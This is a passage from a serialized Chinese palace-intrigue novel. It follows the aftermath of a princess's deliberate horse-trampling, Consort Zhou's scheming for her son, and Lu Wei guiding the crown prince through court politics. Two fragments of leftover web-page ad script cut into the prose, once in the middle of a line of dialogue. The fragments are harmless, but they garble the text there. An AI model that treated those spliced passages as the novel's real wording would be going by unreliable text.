“公主毕竟是陛下长女,驸马早亡,虽居丧妄为,陛下或也会心存怜爱,不至严惩。况自惠文皇后崩逝,周贵妃统御六宫事,形同皇后,陛下亦会念及情分。最要紧的是,吴王——陛下所有庶出之子中,封王的就只有吴王一人。” 晏令白也知这些利害,这也是令案情复杂的根源:既是皇家家事,也是朝政国事,可大也可小。 “我既奉命查办此案,自然不能欺君。陛下早知露微受伤,若认为我有私,便不会授命,而且你不知,赵太傅也已问了我两次。德初,你是回避不了的。” 谢道元听来一笑,抬手点了点这个相识三十年的莫逆,“我何曾说要回……”,话到一半,却听门外忽然响起声音: “父亲,阿父,儿求见!” 谢探微是日休沐在家,正是听闻晏令白过府,心知必是惊马之事,便来一问究竟。他于此事,更是只有毫不遮掩的私心,但连日向陆冬至询问,却只说没有线索。 然而,他先也并不敢搅扰长辈谈话,只是在廊下恭候,却谁知,听了满耳朵的“鲁阳公主”——他开口禀告之前,目光才缓缓从自己右掌的伤疤上抬起来。 很快,晏令白叫了他进门,礼也不见,接着就问:“阿父,此事当真与鲁阳公主相关?” 尊长并不意外他听见了谈话,晏令白向他点了头,看了眼谢道元,道:“此事既没叫你办,你也不许多管。你便想想露微,可还忍心她为你担忧?”见到谢探微这张脸之前,他已适时地收起了自己的急切,“目下只是猜测,尚无实际证据。” 谢探微冷笑了声,握拳的指尖深深掐入已经愈合伤疤,“阿父只要将暗查所知上奏陛下,难道陛下还会不信?内官私交外臣,还能是为什么好事吗?” “住口!”谢道元低斥一声,脸色微红,却并不似责怪,顿了顿,以缓和的口气说道: “陛下既知露微牵涉案情,还是让金吾协查,便是信任之意,但你不可挟私情以揣天意。况且,此案伤者并不只有露微,你食君之禄,当存公心。” 谢探微仍未松下一丝倔强,目光直视堂上尊长,忽道:“父亲,阿父,若我说我有证据,能证明此事就是鲁阳公主所为,也并不是一个意外呢?” …… 谢探微去了有半个时辰,虽时间不长,但前后神色迥异。露微正要问及缘故,却被这人一下按进了怀中。她惊了一跳,只觉周身被环地越来越紧,难以喘气,“你怎么了!!” 谢探微却是一时忘情,感到露微挣扎才恍然松开,“对不起,疼吗?”便要去查看她的伤处,被她缩肩避开。 伤处肿痛早已消退,不过是皮肤还有些泛青,“不疼!”露微只是觉得他奇怪,“阿父怎么说?把你吓得这样!” 谢探微方自觉失态,目光有片刻停顿,勉力一笑,“阿父查到眉目了,我只是又想起那天的情形,有些后怕。” 露微连日都没追问过结果,只想此非私事,有司必会查明,可见他如此,也不难猜,那匹御马的出处定不简单:“是谁?” 谢探微用力抿了下唇,“是鲁阳公主,她纵马横行已非初犯,阿父会据实奏明陛下的。” 露微却万没想到主人的身份会如此贵重,但也是听过这个名号的:“就是陛下长女,周贵妃所出的鲁阳公主么?” “你怎知?你见过?!什么时候的事?!” 谢探微竟骤然惊惧,脸色变得比进门时还要骇人——他很清楚,露微对这些皇室的关联是缠绕不清的,上回宗亲送礼慰问,他便与露微解释了许久。 露微却不知他内心所想,愣愣回道:“是太子与我提过一次,我没见过公主。你到底怎么了?” 谢探微长舒了口气,后脊已有汗下,抚了抚露微的脸颊,复将她揽入怀中,“听说鲁阳公主一向骄纵跋扈,我是怕你若遇上,不好应对。我是真的后怕极了,亦自愧未能护好了你。” 露微伏在他的胸口,听着他起伏的心跳,时若擂鼓,时若钟漏,“别怕了,都过去了,公主再骄纵,也不可能日日如此,此次只是一个意外。” 谢探微没再多言,此日余下的辰光都未再让她离开视线。 隔日,这个意外的祸事便迎来了一个意外的结果:不及晏令白上奏,周贵妃便亲携女儿到皇帝跟前认了罪。皇帝震怒,废了公主的封号,降为安定县主,禁足宫中,食封也一应削减。 …… 原该是晚妆迎驾的时辰,紫兰殿内却是哭声起伏。一处在周贵妃的膝下,年少的吴王牵着她的衣袖泣涕涟涟;一处在殿中,素服脱妆的帝女瘫坐,啜泣声声。 伤心之情状,悲切之姿态,比六年前惠文皇后崩逝之时只有过之,全无不及。 “阿娘!你去求父皇饶恕阿姊吧!只不过是阿姊的马撞了人,与她有什么关系呢!” 十二岁少年的声线已不同于孩童的稚音,高音处嘶哑,低音处粗沉,再是情深意切,犹像一把生锈的刀斧摩擦着干枯的树根,呕哑磨耳,令人胸口犯逆。 贵妃已无法忍耐,缓缓闭目,忽然扬手,狠狠向儿子挥下一掌:“你知道什么!!你的阿姊差一点连你也要撞死了!” 跌滚在地的李循如被抽去了精魂,脸颊痛得麻木,满头发晕,还不及被爬来的长姊扶起,又被母亲命人拖了出去: “把他关在侧殿,没有我的允许,不许他见人!” 李柔远趴在地上,脸色惨白,双目猩红,如鬼魅仰望座上神母,“阿娘!为什么?!我已经被废了,娘还不满意?!” 贵妃倒像是极快地平静了下来,“娘早就警告过你,那谢探微碰不得,与他相关的人都不要碰,可你呢?你舅舅一看那匹马就知道是你闯的祸!娘更明白,你是故意针对赵露微放的马。真没想到啊,我的女儿竟然一个是天大的蠢货!” 李柔远稍稍撑起身子,满脸难以置信,这些她已经承认的事实被母亲这般说起,竟叫她生出一种被算计的感觉: “娘和舅舅都看出来了,可他们也看出来了吗?为什么娘不愿意保我,反而要让女儿自首?娘是六宫之首的贵妃,为何如此惧怕谢家?” 贵妃听来却是一笑,目光缓缓拂去:“六宫之首是皇后,娘,只是一个贵妃。” 李柔远瞧得出母亲笑意中的自嘲,可也仅此而已,“那日确实是女儿故意,在路上偶然瞧见赵露微,看她一身官服,神气得意的样子便气不过。我打听过,她也有一个前夫,就是那个玉树临风的医官姚宜苏,驸马还受过他的疗治,也是个比驸马强百倍的男人。所以凭什么?凭什么她次次都嫁得比我好?只可惜,我没料到会有人来救她,便没有及时将马收走——她的命就这么好?!” “她的命就是这么好,因为她比你聪明多了!”紧接着女儿的话音,贵妃沉沉掷声于地:'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “若她是你,贵为公主,必不会自甘下贱与臣女夺夫!便要下手,也不会选在大街上!沉不住气,便成不了事。” 李柔远终于感到了几分奇怪,蹙起眉,觑了眼,一时无言。 贵妃长叹了一声,仍有些笑意挂在嘴角,竟像是得意,又被殿内的空荡衬得几分诡异: “你当真以为谢家不知?那晏令白可顶得上三个你舅舅,他拼死拼活替你瞒了两天就叫人怀疑了!若当真让他们先发制人,不仅是你,娘的贵妃之位也是小事,是你舅舅必然丢官,朝堂上就再无周家的人了,那你弟弟将来能倚仗谁?!娘只能抛开你,在你父皇面前作态,说你舅舅早知,只因心疼你青春守寡才私心先告诉了娘,终不至于都被你一人连累。” 李柔远诚然是将谢家想简单了,可忖度后又摇头:“弟弟七岁就封王了,父皇的儿子们,除了太子不论,只有弟弟封了王,他是很得父皇喜欢的。” “独你弟弟封王,可也独太子是太子啊。”贵妃亦摇头,悠然一句,若秋风飘叶,渐轻渐无,却终有着落: “惠文皇后虽已故去,林家也并无高官,可谢家,晏令白,甚至是赵太傅,他们如今都站在太子背后。可凭太子自己就有这般笼络重臣的本事?” “是……是父皇。”李柔远才恢复些许的脸色又分明地褪成了一片苍白,身躯一颤,伏倒在地, “阿娘,你都是为了弟弟才抛弃我的!可我若是能嫁给谢探微,谢家不就成了弟弟的倚仗了?” 贵妃嗤声一笑:“若你不闹成这样,娘还可等你服丧期满,为你挑一个满意的驸马,或许是能帮衬你弟弟。可现在,是你自己断送了。莫说是谢家,恐怕五品小吏之家也不愿要你。” “那我,就只能一辈子做娘的弃子了?” 贵妃终于起身走下来,扶起了早已尊严破碎的女儿,但神色仍叫人难以分辨,缓缓道: “柔儿,你该庆幸,虽已至此,却好在他们并没有证据说你是针对赵露微,此事已作为意外了结。你只要乖乖听话,安静下来,总有一天,封号、恩荣,一切都会回来的。” 李柔远再说不出一个字,贵妃也已尽言,仍叫人将女儿带去偏殿安置,却未停歇,传了内官王弘俦又吩咐了几句: “去传太医,吴王为长姊的事痛心过度,以至晕倒了。” …… 周贵妃携女认罪的消息传来,倒比惊马的案子本身更加轰动。身为谢家主母的李敬颜也到这时才惊觉,问起了谢道元,方知这场看似意外的祸端竟是暗流涌动。 “阿颜,你还想怎么做呢?陛下已经严惩了公主,此事已成定局。你应也知晓,我朝此前还从未废过公主啊。” 李敬颜自来只问内政,不管谢道元的外务,所以即使谢道元已经将缘故细细告知,却也瞧不懂她的态度,非惊非怕,竟是一番严正沉肃之色。 李敬颜于良晌的深思中抬起了眼睛,“好一个周贵妃。”又哼声一笑,“陛下十五岁婚冠,她是与元妃张氏同时被赐婚的。后来张妃早逝,她为良娣,本当晋为正妃,可陛下认为正庶有别,罢了此议。开和元年,陛下即位,很快就立了林氏为后,也正是立后之际,她生下了公主。虽是女孩,却也是陛下第一个孩子,但只封了美人,直到吴王出生才晋了她昭容。至于如今这贵妃位,便是林皇后崩逝,后宫无主,才依资历封她的。” 谢道元万不料李氏对周贵妃如此了解,周氏又不是宗亲,便是宫闱之事,一般也是难知底细的,但想来,倒能理解她先前的神色了:“阿颜,你是想说,周贵妃并不是一个简单的人。” 李氏点头,道:“我便不说,你难道看不出她这次的手段?陛下的决断自然不能再改。只是,她养了这样一个浮浪妄为的女儿,伤了我家的孩子,我自然是要记上一笔账的。” 众人皆知,李氏待人宽和,心肠慈悲,就是三十年的夫妻,谢道元也甚少听见她这样记仇记怨的言辞,一时惊圆了眼睛,仿佛不认识了似的。 “阿颜……”略感词穷,谢道元只忙凑近,握住了她的手,顾不得这把年纪的体面了,“她毕竟是贵妃,你还能犯上?就算是为了孩子,你就能不管不顾了?” “那你和同僚吵得还少?就没顶撞过陛下?”李氏扎实地翻了他一个白眼,抽开了手,“再说了,我能傻到直接去宫里犯上?我既如此蠢笨,你这般聪明绝顶的人,当年为何要涎皮赖脸地求娶?” 本是议论正事,谁料话赶话就歪到了山林僻壤,说得谢道元这样一个直臣满脸涨红,分辩不出半个字来。 李氏见状,好不可笑,直引得门外守候的叶氏以为出了什么事,问起来,才将她笑意逼停了,长叹一声道:“好了!我四十余岁的人了,心中有数,不会给你添麻烦的,放心就是。” 谢道元慢慢平静下来,总归是无奈,摇头叹气,却又将她的手握了回来,“我是怕你添麻烦?我是怕你受欺负!孩子们已经受了极大的委屈了,你不能再叫我担心了。” 70.孝悌 惊马案彻底了结,露微也早已痊愈,仍要入宫辅教。然则临去前日,赵维贞忽然遣了乔氏来谢家接她。她倒还好奇缘故,不想李氏听闻,只来劝她早该时常回去,便替她置了礼,又叫叶氏跟从,送回了赵家才罢。 她路上问起乔氏,可乔氏也不知家翁的安排,只与她问长问短,说了许多贴心话。及至父女相见,起初也说起家常,但很快,竟不期然地转到了刚刚了结的这桩案情上。 “敏识说了,那位安定县主从前就喜纵马横行,只是此次闯了大祸。周贵妃既为后宫之主,又是县主之母,如此大义灭亲,也算是公正无私了。阿耶为何还要提?难不成还在为女儿不平?” 虽如此问,她也只是觉得奇怪。父亲为了朝廷,举家贬官流放都在所不辞,如今天子一怒废了亲女儿,已是很重的惩罚了,父亲岂还能不知足? 赵维贞听来一笑,揽了女儿到身侧,说道:“从前阿耶不与你说朝廷之事,你怪阿耶,如今要告诉你,却又不好了?此事,没有这么简单,县主固然骄纵,可贵妃要保护的,实则是吴王。” 最后二字,叫露微呼吸一顿,但明白其中要义不需片刻,“春天时,太子来家中探女儿的病,便提到他的长姊长兄,安定县主和吴王。他说虽为亲兄姊,在宫中却不一样。女儿当时只以为太子年少失恃,难免孤寂,皇家亲情自然也不同些。可阿耶如此说,难道这周贵妃……” 女儿虽未说完,赵维贞也早已是一片慰然神色,点点头,添了几分郑重,说道: “阿耶既为太子师,自是要替太子思虑深远。况且,楚逆之事殷鉴不远,阿耶实在不敢轻心。从前逆党未除,阿耶不同意谢家的婚事,便是知有结党之嫌。可如今也是一样,因为婚姻,也因为阿耶是太子师,赵家、谢家,还有晏将军已是密不可分,倘若有人存心构陷,必然以结党相攻。莫说你与敏识是陛下赐婚,就算是陛下明知,许多事也全在君心如何去想。” 露微不由深吸了口气,既感佩父亲的苦心,也同时明白了其中深重。父亲复官以来行事低调,除了太子太傅,便再不受其他封赏,天子不问政,父亲也绝不主动议政,这原来都是因为:三者为一,如今都是“太子之党”。 “阿耶,那这些事父亲和阿父可有察觉?阿耶可也与他们说了?女儿觉得,如今既已不党而党,不如就彼此坦荡,君子之道方是破局的正道。” 露微可喜父亲同她分担心中远虑,又是在此私下场合,便也无所避讳。可赵维贞听了女儿这番直言,虽目露了十分赞许,却也很快摇了摇头: “谢中书和晏将军绝非等闲之人,阿耶不必与他们说到明处。如今阿耶特意同你说,便是因为太子素来看重你,你既食君之禄,便该对太子尽守护之责。阿耶想来,这未必不是陛下当初封你女官的初衷啊。” 父亲倒是解释得清晰,但露微想来又问:“可我毕竟只是女官,侍奉书墨而已,该如何为太子做得更多呢?” 赵维贞抚须一笑,却是反问:“当下惊马案虽已落定,可吴王却因长姊之事痛心抱病,你想想,该如何?” 露微望着父亲脸上明朗的笑意,将方才与父亲的谈话细细回味,思绪交绕,忽一扬声:“女儿明白了!” …… 露微常在皇城行走,却不能擅自踏入宫城,但上回踏入,倒就是除逆当夜的“擅入”,却也只是止步宫门侧边的金吾仗院,被陆冬至生生关了一夜。 此日东宫课罢,露微随太子再次踏足了宫城,也因有她陪护,李衡便没再另携宫人。二人过外朝大殿往后宫而去,直到已能望见紫兰殿,才将牵着的手松开。 “阿姊,我与周娘娘并不熟悉,同吴王也不常见面,我不知道该说什么,有些怕。” 见太子表露迟疑,露微也是意料之中,半蹲下来,仍握住他一只手,笑道:“臣方才不是说了么,殿下不必将此去当做如朝参一般的大事,就是长兄卧病,长姊受责,殿下该去慰问自己的家人。那和家人要说什么,殿下岂能不知?” 李衡自是懂得这道理才来的,但难免生疏情怯,又沉了沉气,自露微另侧手中提过了食盒,一点头: “典膳局做的甜酪浆和尚食局的一样好吃,我记得阿兄也是爱吃甜食的,他又吃着苦药,见了甜的,说不定一开心病就好了。那我这便去了,请赵学士在殿外稍候。” 露微见太子通透,欣然应诺,跟在数步之外,直至见他登阶入殿,便静静地在廊庑下站定。 想是太子少临后宫,守殿宫人无不惊慌,只一个稍年长的警醒些,忙奔去通传,其余的都立时跪下了。露微见状了然一笑,再等贵妃亲自迎到正殿,都只是隔窗传来的动静,她没能再多见,但想来,一切都该是顺利的。 …… 周贵妃立在偏殿外,才刚迎接太子的惊情毫无散去,此刻不时向殿内瞥眼,难知太子会和吴王说什么,愈加私心惴惴。 “娘娘稍安,吴王与太子少见,当是不会乱说话的。”王弘俦是贵妃心腹,陪侍一旁,见她焦灼不安,不免劝了一句。 贵妃两手于腹前搓拧,仍不敢轻心,抿了抿唇,问道:“站在外头等太子的那个就是赵露微?太子只带了她一人来?” 王弘俦自已留心,立马回道:“正是赵露微,太子素来亲近她,想必也是她将太子劝来的。咱们大王告病,陛下都不曾过问,其余宫里也是见风使舵,倒是这位赵学士——娘娘,此女,厉害啊!” 贵妃细眉深蹙,不由切齿,来回踱了几步,道:“你去亲自看住柔儿,不许她出来……” 话未一半,却见一个宫婢小跑而来,报道:“娘娘,县主听说太子殿下身边的赵女官来了,非要出去相见,奴婢们拦不住啊!” …… 露微伏跪在地,一双洁净柔腻的手将她轻轻扶起。缓缓抬眼,她方望清这位天子长女的模样,不饰金翠,淡扫蛾眉,是一位秀丽娴静的妙龄女子—— 却也是一个居丧的孀妇,一位刚刚因错降位的县主。 “你的伤都好了么?” 目光不及垂避,思绪尚在萦绕,露微不防她这般关切,忙躬身答问:“回县主,臣只是小伤,早已无碍。” 李柔远淡淡一笑,近前牵住了露微双手,“你不必拘束。今日虽是初见,但你的名号我早就知道,天子亲封的女官,你也是本朝头一个了。”却又一叹: “当日都是我不慎,却不料能闯了如此大祸,也竟不巧,你怎么就在那条街上!若真伤了你性命……我总是难辞其咎,父皇废了我不冤,你实在受苦了!” 她如此谦卑态度,却和传闻中纵马横行的公主天差地别,可就算是正在受罚,也实在不必对一个臣女低首垂眉。况且,那日的伤者远不止露微一人,听说伤重的一个礼部官员至今还不能起身,难道她也去慰问了? 未必。 “县主言重了,臣不敢承受。陛下想必也是一时之气,定会很快复县主的公主之位的。”露微并不轻信,也只是恭敬谢恩罢了。 李柔远见露微脱开她的牵扶,笑意微微一凝,又道:“我原以为,父皇为你赐婚后,你便不会再当女官了。你是谢家长媳,冢子嫡妻,难道不用学些经营内政之道?若是两头都要顾,也太辛苦了。” 既觉她态度存疑,又忽然提到家事,露微也是心有计较的:“陛下未曾免了臣的职分,臣便不敢怠惰。况且臣年少德薄,难堪持家之任,只承望大姑安康安泰,能永沐慈恩便愿足矣。” 此后再不闻问话,露微揣测地稍稍仰起面孔,却正好见她拂来一笑,不浓不淡,亦不平静: “你家大姑新安郡主,算来是我的祖母辈,我和你便算是亲戚了,今后定还有机会亲近的。” …… 李柔远进殿后不久,李衡便在一位内官的护送下出来了。露微见他面色愉悦,心里更加安定,仍牵着他返回东宫。 “阿姊怎么都不问我在里面说了什么?” 没去多远,李衡便主动发了问,却不知露微早等着他自己按捺不住,得意吐露,便一点头笑道: “不用问啊,殿下一定做得很好,不是吗?” 李衡果然咧嘴,颊上泛起淡红:“周娘娘亲自来接我去见阿兄,还问了许多体贴的话,问我身体可好,课业如何,我都细细回答了。阿兄见了我也说甚为想念,只是提到长姊时不大开怀,还求我向父皇进言。后来长姊也来了,却是请我不要进言,说她甘愿领罚。我看她红着眼睛,心里十分不忍。” 大抵是意料之中的内容,可想着父亲昨日的一番嘱咐,露微还是多了几分思虑:“那殿下可想好了如何做?” 李衡抿起嘴巴,眼睛看看远处,又转回露微面上:“阿姊以为呢?” 露微暂停了脚步,心想太子去紫兰殿之事定会很快传到皇帝耳中,皇帝一旦召见,太子定是要“进言”的。这是父亲为太子的未雨绸缪之计,只不过在于如何表达罢了。 “臣以为殿下据实而言便可,不忍就是不忍。” 李衡皱了皱眉,正要再说,却忽见一个结着五彩流苏的鞠毬滚到了脚旁,他弯腰将毬拾起,又见前方小径上跑来了一个孩子,不到他胸口高,如那小毬般滚圆的脑袋上梳了两个小角,身着紫色短袍,脚步一跨一颠,煞是可爱。 露微只知这孩子穿戴不一般,并不知身份,待要问李衡,却已见他蹲身抱住了这个孩子,柔声哄道:“阿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 律又顽皮了!万一你娘找不到你怎么办?可摔跤了没有?” 叫阿律的孩子一笑,颊上便呈现一对酒窝,越发显得讨喜,也不惧怕太子,竟撅起嘴亲了李衡一下,口中糯糯道:“阿兄!” 李衡亦对阿律难以释手,点了点他的酒窝,也亲了下他的额头,将他细细搀好,才为露微解释:“阿姊,这是六郎,叫阿律,师出以律之律,今年才三岁,他母亲是凝香殿的纪美人。” 露微已从那声“阿兄”明白了李律的身份,此刻不免颔首行礼,“殿下是说,六皇子三岁了?”她忽然联想起一件久远的往事——姚泽兰如今也是三岁。 李衡点头道:“是啊,他是五月初五的生辰,已足三岁了。” 果然是端阳日!露微不禁心内默叹,却不能再说什么,唇边不经意地带出了一丝苦笑。 这时,方才李律来的小径上追来了一队慌促的宫人,为首的一位淡黄襦裙的女子脸色煞白,疾呼声声,眼中全无别物,只盯着李律的身影,待将孩子一把揽过,上下看过几遍,才恍然抬起头,发现面前站着的竟然是太子。 “妾行事鲁莽,未见殿下!六郎没有冲撞殿下吧?!” 李衡一笑摇头,先向她拱手行礼,方道:“纪娘娘莫要惊慌,弟弟很乖。只是,他还这样小,跑得又快,该要选些机灵的人跟着才好,否则太危险了。” 纪美人不由羞惭,颔首道:“确如殿下所言,六郎实在顽皮,都是妾一时疏忽,今后必当引以为鉴,妾替六郎多谢殿下关怀。” 李衡仍是笑笑,又伸手抚了抚李律头上的小角,叮嘱道:“阿律要听娘的话,以后再不可乱跑了,不然娘和阿兄都会担心的,知道了吗?” 小小孩子竟很明白,高抬下颌重重点了下头,将母亲的手牵紧了些。纪美人见状,既感喟,又不免多添了惭愧,不敢再扰,向李衡致谢还礼,带着孩子离开了。 李衡倒像是不舍,目送母子身影直至不见才转过脸来,却是一叹:“阿姊,你知道吗?父皇如今有六个皇子,四个皇女,但只有我没有自己的娘了。” 露微刚刚一直随从李衡身后,只见他尊敬庶母,爱护幼弟,极尽孝悌,却不料他心里是作如此想,顿时为他心疼: “皇后娘娘虽然早逝,但陛下却对殿下爱重,殿下还该自珍自宽,想着娘娘在天有灵,也定会希望殿下开心的。”想了想又道: “其实臣和殿下一样,都没有娘了,但也都有一个很好很好的父亲。宫里虽不比寻常人家,可只要心中守着一份纯粹的常情,便没有很大区别。” 李衡还是头一次听到这番说法,既新鲜,又忽然想起露微成婚那时,父皇将他接到身边亲自照料,一连多日同食同睡,也真是其他兄弟姊妹没有享受过的了。 见他的神色恢复明朗,露微欣慰一笑,便要继续出宫,彼此一抬头,竟见内官丁仁成笔直伫立的身姿撞进视线,惊诧的表情让人难以描摹,只听他禀道: “太子殿下,陛下召见,快随老奴去吧!” …… 太子离去后的紫兰殿早已恢复平静,只是内殿中母女相对,贵妃想着女儿擅见赵露微的情形,心中颇是疑虑。 她原是怕女儿又行冲动,再造祸端,不及叫人拦守,随婢女赶去,却先隔窗听见了女儿的言辞,竟与往日大不相同,像是换了个人,便没再亲自出面。 “阿娘现在还觉得我蠢吗?”亲娘的意思根本不用猜,李柔远也等不及,索性先点破,说着扬唇一笑,“我再蠢,也不至于在紫兰殿动手啊!” 贵妃轻蹙蛾眉,似忖度似忧虑,轻一摇头:“她能在此刻劝了太子来慰问,单这一样心计,换成你就想不出来。你以为你说的那些,真能入得了她的耳,她的心?她所言,也未必不是在敷衍你,你倒还敢提什么亲戚。” 李柔远却又作了然一笑:“可阿娘,我本来就不是想以真心换真心啊,那又何必管她是不是敷衍呢?” 贵妃忽觉得这话有了些意思,招了女儿近到身侧,道:“柔儿,你就非要那个谢探微不可?就算没了赵露微,他的父母可能认下你?尤其是,新安郡主,你父皇都要敬她三分。” 前几次见母亲提到谢探微,提到谢家,都是严厉驳斥的态度,可这次并不见,李柔远心气一提,终于将目的摆出来: “我从前并不知阿娘为了弟弟煞费苦心,现在知道了,却觉得阿娘实在不必一个人撑着,不如让柔儿帮帮你,你也帮帮柔儿。” “你竟然想和你的母亲做交易?!” “阿娘,谢家若真成了弟弟的靠山,你还愁舅舅在外独木难支么?这不是交易,是两全其美——这世上,两全其美的事其实并不少见。” 71.分明 紫宸殿是分隔前朝后宫的内朝,寻常宫人未经传召不得靠近。露微上回擅闯未成,这回倒是跟随太子正大光明地去到了殿前。但也不及她感慨此间气象宏伟,就先望见了阶下站班的谢探微。 自然,那双眼睛也早在她行来之时就将她紧紧锁住了。 谢探微本就是司阶的职分,露微虽第一次见,却并无稀奇,只朝他一笑,可这人却不见欣喜,面色发沉,反而像是忧切。不过天子威重,二人也不得在御前交谈,便如此长久对视,倒引得阶下一众金吾兵都抿唇忍笑起来—— 众人皆知,他们谢司阶娶的就是太子身边的这位女学士。 露微很快察觉,顿时脸面烧得通红,再顾不得那人的表情,只把头埋到了最低处。饶是这般,待丁仁成将太子引进了大殿,廊庑间只剩了露微一人,那痴儿竟三两步跨过来,将她一路拉到了殿侧僻静的甬道上。 露微自是惊魂难定,都不知怎么说他,只听他毫不停顿且理直气壮地反问:“太子去紫兰殿是你跟着的?!” 他就在殿前值守,听闻些动静也平常,可露微已然站在这里,他又何须多此一问?而且这语气也不对。 “你若不是疯了,就是嫌这御前的差事太安逸了!” 谢探微却越发有些喘促,扶住露微双肩急急又问:“你见到安定县主了吗?她可同你说话了?” 露微完全糊涂了,又不便此时给他解释父亲的用意,想了想就只能是他还在为安定县主的惊马伤了自己而担忧,一叹道: “我只是太子随从,贵妃未曾宣召,我没进殿,但县主确实见了,却是她主动出来向我致歉。此事已毕,你不要再多想了!” 谢探微仍不见轻松,慢舒了口气,还要再说什么,丁仁成忽然现身甬道,见他们夫妻举止亲密,忙侧身避目,远远抛过话来: “哎呀,这是什么地方?你们有什么话还等不及回家再说!赵学士,陛下传见!” 露微此刻的羞耻感已无法言喻,浑身一抖,一顿小跑竟冲到了丁仁成前头。丁仁成捂了把脸,哭笑不得,只能又赶上去。 谢探微仍站在原地,但看似身形不动如山,内心却是波澜起伏,又呆立了片刻,方才整甲拔步。 …… 那阵羞耻之感甚至掩盖了面君的惶恐之情,露微直至行罢大礼,仍是面红耳赤,便到了皇帝眼中,似乎也是隐有笑意的微妙神色,半晌才悠悠开口问道: “赵露微,方才朕听太子说,今日是你提起让他去看望兄长的?你只是一个侍奉笔墨的女官,为何要如此做?” 虽然皇帝召见太子比预料中的快,但露微也是心中有底的,此刻只暗舒了口气,缓了缓心神,恭敬回道: “回陛下,吴王抱病已有数日,宫中尽人皆知,殿下先曾问起左右侍者,臣才有此提议。臣也自知身份,但想来食君之禄,忠君之事,也是本分之内。况且臣初到东宫侍奉那日就与殿下有过约定,要提醒殿下的过失。” 皇帝未置可否,瞧了眼站在身侧的太子,又问:“按你所说,太子若是不去探望兄长,就成了过失了?那其他皇子公主也没有去,便都有过失了?” “父皇,赵学士不是此意!她……”李衡只觉父亲的语气稍冷,怕露微受责,可皇帝只是皱眉对他摇了摇头,目光仍向下拂去: “赵露微,你自己说,是何意?” 露微其实并无慌张,很快答道:“臣是东宫女官,没有资格置喙旁人,但若殿下不去探望兄长,确也算得一项过失。” 此话未落,皇帝已是瞠目一惊,太子和守在殿侧的丁仁成也都睁圆了眼睛,露微却似不见,继续从容说道: “圣贤说,孝悌是仁德之本,国朝也素来崇礼尚德。吴王抱病,陛下是吴王的父亲,自然为他担忧,殿下亦为陛下子,当知为君父分忧,此为尽孝;吴王又是殿下长兄,也该尽其悌道。而况,殿下位在储二,是社稷所托,一言一行都在天下人眼中,若不能恪行孝悌,又怎能令德教加于四海?这就是臣所言的过失了。” 皇帝从年初宫宴上便试问过露微,是知道她的口才的,今日亦不过是试问,却又不禁刮目相看,终于点头,赞许一笑: “好,好个东宫女官啊!果然是忠君之事,很知本分。朕要赏赐你,说吧,想要什么?财帛金银,或至诰命封爵,都可以。” 露微既不为赏赐,也没想到有赏,此刻心中只有为太子尽心的愉悦,“多谢陛下,只是臣这个女官已是宫官中的唯一,非寻常可比,臣再无所求。” 皇帝忖度片刻,似有什么重大考虑,“那朕——就赏谢司阶两日假,让他安安生生地回家把话说完吧!哈哈哈……” 只以为天子威严持重,却不料竟如此打趣!可也根本不及露微羞得无地自容,那位谢司阶竟是闻风忽现,还没叫人看清个影子,就听他谢起了恩: “臣领旨,谢陛下!” …… 见那对小夫妻一张红脸一张白脸地告退离殿,李煦的笑口仍合不上,政事繁杂,又逢长女闯下祸事,他已多日不曾开怀了。李衡甚至从未见过这样的父亲,一直以惊奇又欣喜的目光从旁观察着,许久才见父亲望来: “阿衡,阿耶算是知道你为何那般喜爱赵学士了!阿耶今天也该赏你,你想要什么呢?” 李衡一时想的却是先前感伤母亲早逝,又被露微劝解,想起父亲待自己与众兄弟姊妹不同,“父皇,臣只能为自己求吗?” 李煦还以为他会学露微谦辞,一笑,“只要是阿衡说的,阿耶都可以答应。” 李衡抿了抿嘴巴,却又深思了一番方道:“臣才在太液池旁遇见了六郎,他竟是一个人跑了出来,倘或不慎落了水,岂不要出大事?后来纪娘娘追过来,也吓得不轻,可臣却见她身边并没几个服侍的人,想来照料六郎也是力不从心。所以,臣想求父皇多选几个机警的人到凝香殿,帮纪娘娘护着六郎才好。” 纪氏本是掖庭采选的良家子出身,早年就是林皇后身边的八品采女,因知书识字,为皇后举荐,得幸于天子,先晋了六品宝林,生下皇子后才升为四品美人,赐居凝香殿。 李煦待之不算宠爱,但也绝不至于忘却,就更没想到一个生有皇子的嫔妃竟会如此落魄,不由阴沉了脸,向丁仁成肃然问道: “这是怎么回事?谁敢怠慢他们母子?!” 丁仁成是天子近臣,内官之首,可毕竟不在后宫当差,就算对许多事都有耳闻,也无权直接管辖。此时上前回话,却也只能备着李煦降罪,不敢多辩: “陛下息怒,这是老奴的疏忽!老奴稍待就去亲自挑选一些得力的宫人送去凝香殿,再去太医署传太医为六皇子看脉,必保小皇子平安无恙。” 李煦倒也是深知丁仁成的,本怒不在他,又听他自己领罪,到底也是明白的,挥手一叹,道: “后宫的事与你无关,只怕是贵妃为自己的儿女操心过度……罢了,你先去办吧。朕今晚就去看他们母子。” 丁仁成稍稍一顿,又低了头,转身而去。 殿内只剩了一对天家父子,李煦将孩子揽到身前,又抚了抚他的脸颊,宠溺道:“阿衡,阿耶很欣慰,你既知道关心长兄,也知道疼爱幼弟,已很有些担当了。” 李衡倒不似先前,嘴巴鼓动了片时,说道:“那父皇刚刚为何对周娘娘生气?臣以为此事也与她无关。” 李煦只将话说了一半便是顾及李衡尚在,不料这孩子还是听明白了,想了想,不再隐晦:“怎么无关?若是你娘执掌六宫,就绝不会出现这样荒唐的事。” …… 谢探微算是得罪了露微,自出紫宸殿到进家门,露微都没瞧他一眼。他本不该这时候回家,又是这般情状,叫经过的下人瞧见,很快便传到了李氏的耳内。 李氏自然关切,忙迎出来看个究竟,却正好撞见露微将儿子的手甩开,小跑走了。果然事出稀奇,李氏不能坐视,一声将儿子叫住,便问道: “你怎么惹微微了?你竟也有欺负她的时候?” 谢探微刚要追上去,跨出的步子还没撤回,连带神色都一僵。这话不大好回,但想想,母亲却是知道底细,便稍将心思收敛了,先解释了一遍宫里的事。 “母亲,不是我故意要瞒她,只是不想她担惊受怕,却不曾想她为太子能做到这般,因而举动急切了些,惹恼了她。” 李氏听明后倒并不惊讶,轻声一笑,道:“微微对太子有辅教之责,你也说陛下对她很是赞赏,便说明她做得对,有了陛下的庇护,你倒不用过虑。至于那个安定县主,还有她母亲周贵妃,娘还算了解,后宫之事你顾不到,自有娘来护着微微,你放心就是。” 